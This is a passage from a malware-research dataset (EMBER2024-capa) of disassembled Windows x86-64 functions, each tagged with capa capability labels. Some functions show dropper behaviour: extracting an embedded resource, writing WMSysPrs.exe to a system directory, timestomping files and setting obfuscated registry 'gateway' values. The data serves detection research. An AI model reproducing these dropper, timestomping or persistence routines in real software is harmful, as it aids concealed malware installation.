joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011f30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001c410
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001c410
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140011fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400f6144]
mov rbx, rcx
test esi, esi
jle 0x1400120d0
mov rax, qword [0x1400f6148]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140011feb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140012075
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140011fd0
mov rcx, rbx
call fcn.1400129f0
mov rdi, rax
test rax, rax
je 0x1400120f2
mov rax, qword [0x1400f6148]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140012b30
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400f6148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400120d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001206e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140012080
add dword [0x1400f6144], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400f6148]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001206e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140011f30
nop dword [rax]
xor esi, esi
jmp 0x140011ff8
mov rax, qword [0x1400f6148]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140011f30
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140011f30
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140012660
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400f61a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400f6180]
test rbx, rbx
je 0x1400126bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400126b3
test rsi, rsi
je 0x1400126b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140012698
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400129f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400d0620]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140012a10
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140012a18
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140012a10
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140012a6d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140012a64
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140012a10
add rax, 0x28
cmp rax, r9
jne 0x140012a50
xor eax, eax
ret

Function at 0x140012a70
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d0620]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140012a8f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140012a98
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140012a8f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140012b30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d0620]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140012b4f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140012b58
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14007fc50
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x14007fc98
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14007fc6a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400ba750
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400c9860]
jmp 0x140013840

Function at 0x1400ba760
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400c9860]
jmp 0x140013840
Function at 0x14068b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14068b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14068b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068b06f
add dl, dl
jne 0x14068b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068b0f6
xor eax, eax
add dl, dl
jne 0x14068b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068b1ad
add dl, dl
jne 0x14068b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14068b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14068b07e
mov eax, 1
add dl, dl
jne 0x14068b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068b0fb
sub eax, ebx
mov ebx, 1
jne 0x14068b14c
mov ecx, 1
add dl, dl
jne 0x14068b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14068b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068b15d
cmp eax, 0x7d00
jae 0x14068b19b
cmp eax, 0x500
jb 0x14068b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068b07e
cmp eax, 0x7f
ja 0x14068b19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14068b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14068b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x18000a370
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp dword [0x18001b04c], 0xffffffff
mov esi, edx
mov edi, ecx
jne 0x18000a3a7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
or eax, 0xffffffff
lock cmpxchg dword [0x18001b04c], ecx
je 0x18000a3a7
call qword [sym.imp.KERNEL32.dll_TlsFree]
mov ecx, dword [0x18001b04c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x18000a419
test esi, esi
je 0x18000a419
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0xa0
xor edx, edx
mov rcx, rax
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x18000a3fd
cmp edi, 9
je 0x18000a42c
cmp edi, 6
je 0x18000a42c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000017
call qword [sym.imp.KERNEL32.dll_RaiseException]
mov r8, rsi
xor edx, edx
mov rcx, rbx
call sub.MSVCR100_CLR0400.dll_memset
mov ecx, dword [0x18001b04c]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
xor eax, eax
jmp 0x18000a41c
Function at 0x140002168
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400021b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400021b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400021b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400021b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400021b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400021b4
xor al, al
add rsp, 0x28
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140006008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140006008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140006008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001046
xor eax, eax
jmp 0x1400010e6
mov eax, 0x7da
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov esi, 1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [rsi + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x1400010f8
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea rsi, [0x140004240]
mov edi, 0x104
xor edx, edx
mov rcx, rsi
mov r8, rdi
call sub.MSVCR90.dll_memset
mov edx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rbx, [0x140004130]
mov r8, rdi
mov rcx, rbx
xor edx, edx
call sub.MSVCR90.dll_memset
xor ecx, ecx
mov al, byte [rcx + rsi]
mov byte [rcx + rbx], al
inc rcx
test al, al
jne 0x140001141
xor eax, eax
or rdx, 0xffffffffffffffff
mov rdi, rbx
mov rcx, rdx
lea r8d, [rdx + 2]
repne scasb al, byte [rdi]
movzx eax, word [0x140003298]
mov rcx, rdx
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rax, qword [str.WMSysPrs.exe]
lea ecx, [r8 + 0x66]
mov qword [rdi - 1], rax
mov eax, dword [0x140003290]
mov rdx, rbx
mov dword [rdi + 7], eax
mov al, byte [0x140003294]
mov byte [rdi + 0xb], al
call fcn.1400015a0
test eax, eax
je 0x1400011aa
mov rcx, rbx
call section..text
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000126c
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov dword [rax + 0x10], 0x4e2b
lea rax, [rax + 0x20]
and dword [rax - 0x18], ebx
lea edi, [rbx + 4]
lea rdx, section..data
mov dword [rax - 8], edi
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400013fb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [0x140003338]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400013fb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
lea rsi, str.VERSION_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001357
mov eax, dword [rsp + 0x58]
lea ebx, [rdi - 3]
cmp dword [rsp + 0x50], eax
je 0x1400013fb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov r9d, edi
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call fcn.1400010f8
jmp 0x140001383
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov r9d, edi
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call fcn.1400010f8
mov ebx, 1
lea rdx, str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc
xor eax, eax
or rsi, 0xffffffffffffffff
mov rdi, rdx
mov rcx, rsi
mov r9d, ebx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
sub rcx, rbx
add ecx, ebx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdx
lea rdx, str.GATEWAY1_Value
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rdx, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
xor eax, eax
mov rdi, rdx
mov rcx, rsi
mov r9d, ebx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
sub rcx, rbx
add ecx, ebx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdx
lea rdx, str.GATEWAY2_Value
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000140b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret

Function at 0x140001418
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x28
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_KillTimer]
lea rcx, [0x140003348]
mov edx, 1
call fcn.1400011bc
call fcn.14000126c
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001444
Capabilities:
Delete file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
movsxd rsi, r8d
mov rbp, rdx
mov rbx, rcx
xor edi, edi
call qword [sym.imp.MSVCR90.dll_remove]
lea rdx, [0x14000335c]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fopen]
mov rbx, rax
cmp rax, rdi
je 0x1400014ab
lea r12d, [rdi + 1]
mov r8, rsi
mov r9, rax
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
cmp eax, esi
cmove edi, r12d
call qword [sym.imp.MSVCR90.dll_fclose]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x1400014c8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
mov r13, r8
mov rdi, rdx
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov r8, rdi
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
cmp rax, r12
je 0x140001582
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rbp
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test esi, 0x1ff
mov dword [r13], esi
setne r12b
mov rdi, rax
mov eax, esi
shr eax, 9
add r12d, eax
shl r12d, 9
mov ecx, r12d
mov ebx, r12d
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov r8, rbx
xor edx, edx
mov rcx, rax
mov r12, rax
call sub.MSVCR90.dll_memset
mov r8, rsi
mov rdx, rdi
mov rcx, r12
call sub.MSVCR90.dll_memcpy
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rax, r12
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1400015a0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x140004108]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r12d, ecx
mov edi, r8d
mov rsi, rdx
mov ebp, 0x103
lea rcx, [rsp + 0x141]
xor ebx, ebx
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x140], bl
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x31]
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x30], bl
call sub.MSVCR90.dll_memset
cmp edi, ebx
jne 0x14000166d
lea edx, [rbp + 1]
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov rdx, rbx
lea ebp, [rbx + 1]
mov al, byte [rsp + rdx + 0x140]
mov byte [rsp + rdx + 0x30], al
add rdx, rbp
cmp al, bl
jne 0x14000161e
xor eax, eax
or rdx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
mov rcx, rdx
repne scasb al, byte [rdi]
movzx eax, word [0x140003298]
mov rcx, rdx
sub rdi, rbp
mov word [rdi], ax
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
sub rdi, rbp
xor ecx, ecx
mov al, byte [rsi + rcx]
mov byte [rdi + rcx], al
add rcx, rbp
test al, al
jne 0x14000165e
jmp 0x140001686
lea rdx, [rsp + 0x30]
mov ebp, 1
sub rdx, rsi
mov al, byte [rsi]
mov byte [rdx + rsi], al
add rsi, rbp
cmp al, bl
jne 0x14000167a
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
mov ecx, r12d
mov dword [rsp + 0x20], ebx
call fcn.1400014c8
mov rdi, rax
cmp rax, rbx
je 0x1400016c5
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140001444
mov rcx, rdi
cmp eax, ebx
cmovne ebx, ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001790
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140001bd7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140004108]
jne 0x1400017aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400017a6
repz ret
ror rcx, 0x10
jmp 0x140001b30
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140004420]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140004518]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001bb5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140004420]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001bd7
mov rax, qword [rsp + 0x88]
mov qword [0x140004518], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400044b8], rax
mov rax, qword [0x140004518]
mov qword [0x140004390], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400044a0], rax
mov dword [0x140004380], 0xc0000409
mov dword [0x140004384], 1
mov rax, qword [0x140004108]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140004110]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140004418], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140003370]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140004418], 0
jne 0x140001c5e
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14007c600
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x14008a010]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, eax
xor r14d, r14d
mov edi, r14d
bt ebp, edi
jae 0x14007c776
lea ebx, [rdi + 0x41]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r14w
xor r8d, r8d
lea rdx, [0x140085990]
lea rcx, [rsp + 0x30]
call fcn.1400017f0
nop
movsx r9d, bl
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
cmp rcx, rdx
jae 0x14007c6a4
lea rax, [rcx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 8
cmovae rax, qword [rsp + 0x30]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r14w
jmp 0x14007c6ae
lea rcx, [rsp + 0x30]
call fcn.14007f100
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x14007c6ea
lea rcx, [rdx + 2]
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x30]
cmp r8, 8
cmovae rax, qword [rsp + 0x30]
mov dword [rax + rdx*2], 0x5c003a
mov word [rax + rcx*2], r14w
jmp 0x14007c709
mov qword [rsp + 0x20], 2
lea r9, [0x140085994]
mov edx, 2
lea rcx, [rsp + 0x30]
call fcn.14007f780
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x14007c727
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.14007e2c0
add qword [rsi + 8], 0x20
jmp 0x14007c738
lea r8, [rsp + 0x30]
mov rdx, rax
mov rcx, rsi
